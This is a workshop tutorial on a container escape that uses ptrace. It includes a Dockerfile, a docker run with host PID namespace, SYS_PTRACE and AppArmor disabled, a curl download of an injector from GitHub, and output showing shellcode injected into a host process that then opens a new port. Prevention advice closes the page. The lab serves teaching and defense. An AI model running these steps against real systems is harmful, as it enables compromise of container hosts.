Container Escapes 101 - memory meddling with ptrace
In this workshop, we’re going to mess with the host’s memory from inside a container.
This workshop is the only one that requires an
x86_64
architecture to run. Other architectures will likely work with a different shellcode that will likely also do something different than exactly what this shows. The threat of memory meddling remains the same, though.
A tiny bit about ptrace
The lowest level of our container stack is the operating system on the host. These resources are accessed by any process in the operating system (a container or not) by system calls (syscalls ). These allow the process to interact with resources, like reading a file or writing to a network socket, and try to guarantee it plays nicely with everyone else sharing the same hardware.
There’s one special system call designed for debugging which gives one process a ton of visibility into and the ability to manipulate another process’s resources. It can both nicely follow another process’s work or forcefully take it over. That system call is ptrace
, which is the foundation of many debugging tools. It’s also our path to mischief for this lab.
Why would you ever give that to a container?
The lack of isolation in a container can be a really great feature to have too. It’s useful to ship software as a container because they include all of their own dependencies with it. This includes utilities that can observe and debug other processes.
The lack of isolation is only a security problem based on context. 🤷🏻♀️
Sounds dangerous though
Yeah, it can be.
Nefarious uses of ptrace
include
- keyloggers and remote device control
- hiding from anti-malware software
- looking for secrets stored in memory
- … and probably a ton more I’m missing …
This is also why it’s incredibly important to trust the software you run, especially development tools. 😇
At a high level, what we’re doing today looks like the famous switch-a-roo in Raiders of the Lost Ark . We’re going to stop a program’s execution then listen on a different port then resume execution for that program. This is usually only a small part of any exploit, since we’re Not Really Doing Anything beyond binding to another port. This app will crash once we connect to it.
Let’s make some trouble!
We’re going to need 3 different SSH sessions into our lab VM.
- To launch a process on the host we’ll mess with
- To launch of container we’ll escape from
- Used to connect to the expected and unexpected port on the process running in #1
We’ll swap between them in the order shown below.
Container #1 - launch a process on the host
Launch a simple HTTP server. No need to get fancy here. It doesn’t need to have any content either, simply listening on a port is enough.
1
2
3
user@demo:~$ python3 -m http.server 8080 &
[1] 4033
user@demo:~$ Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
Make note of the process ID number it returns. In our case, it’s 4033
.
Container #3 - verify our network ports
Probe the ports from the third session. As expected, port 8080 is open and port 5600 is not.
1
2
3
4
5
user@demo:~$ nc -vz 127.0.0.1 8080
Connection to 127.0.0.1 8080 port [tcp/http-alt] succeeded!
user@demo:~$ nc -vz 127.0.0.1 5600
nc: connect to 127.0.0.1 port 5600 (tcp) failed: Connection refused
Container #2 - our escape
Now let’s build and launch the container. Start by creating a Dockerfile with the following contents:
1
2
3
4
5
6
FROM ubuntu:24.04
RUN apt-get update && \
apt-get install -y \
vim gcc ncat net-tools \
&& apt-get clean
We only need the SYS_PTRACE
capability at runtime. AppArmor catching this seems to depend on how it’s configured, so it’s disabled to be consistent across a bunch of folks in a lab.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# download our shellcode
curl -LO https://raw.githubusercontent.com/some-natalie/some-natalie/refs/heads/main/speaking/pancakescon5/inject.c
# build
docker build -f escapes.Dockerfile -t test:latest .
# launch the container
docker run -it \
--pid=host \
--cap-drop=ALL --cap-add=SYS_PTRACE \
--security-opt apparmor=unconfined \
--dns=8.8.8.8 \
test:latest \
bash
Now from inside the container, let’s install the dependencies, compile, and run our little program.
1
2
3
4
5
6
7
8
9
10
11
12
# copy the c code into the container using vim, then compile it
root@0079dd71ec0e:/# gcc -o inject inject.c
# run, giving it the PID of our little server
root@0079dd71ec0e:/# ./inject 4033
+ Tracing process 4033
+ Waiting for process...
+ Getting Registers
+ Injecting shell code at 0x7f0c37be3bbf
+ Setting instruction pointer to 0x7f0c37be3bc1
+ Run it!
root@0079dd71ec0e:/#
This “little program” did a couple of things. It
Container #3 - verify our meddling!
Verify connectivity in the third session. Uh oh … it’s an open port! 😱
1
2
3
4
5
user@demo:~$ nc -vz 127.0.0.1 8080
Connection to 127.0.0.1 8080 port [tcp/http-alt] succeeded!
user@demo:~$ nc -vz 127.0.0.1 5600
Connection to 127.0.0.1 5600 port [tcp/*] succeeded!
Our little Python HTTP server crashed too. We were messing around haphazardly in its’ memory space and crashing is by far the safest option.
🎉 We messed around in a host process's memory space 🎉
😈 and changed the behavior of that process 😈
💥 but our recklessness also caused the target program to crash 💥
In the real world
This isn’t the sort of attack to YOLO. Success depends on the version and configuration of the target, including
- the host’s kernel
- the container runtime
- the target process on the host
- security software like AppArmor or SELinux
- runtime security frameworks like the all the great tools built on eBPF
- any network security configurations in place (for getting naughty things in or data out)
A few more “realism” notes is that it’d be easier to gather info about our target, then build and compile our little program elsewhere. If we’ve gathered info and brought it out to reproduce, bringing in the finished binary is probably easy enough..
Prevention
Here’s what is going on and the many ways this could be thwarted:
- Using
--pid=host
allows the container to run using the host’s PID namespace, allowing it to see and interact with all processes on the host. This is commonly used when the container holds debugging tools such asgdb
that would need to interact with other containers or processes. - Adding
CAP_SYS_PTRACE
allows the container to read and write to memory in arbitrary locations using theptrace
system call. It’s super handy in debugging! - Again, disabling AppArmor is never a good idea. 😢
All of the above have valid uses in development. These should be revised before you set real, and possibly malicious, people loose on your containerized application.
I really wanted this in another architecture though 😢
This example is my favorite because the chances of it messing something up is pretty high (proving the point), yet the chances of anyone really getting in trouble with it is pretty low. Writing shellcode is a fine art. If you want more examples, the exploit database has hundreds to choose from.
If this example is what got you super excited because it doesn’t always rely on misconfiguration, the next step is learning Assembly and other low-level concepts. These are hard but good things are worth the effort. ❣️
Back to the index.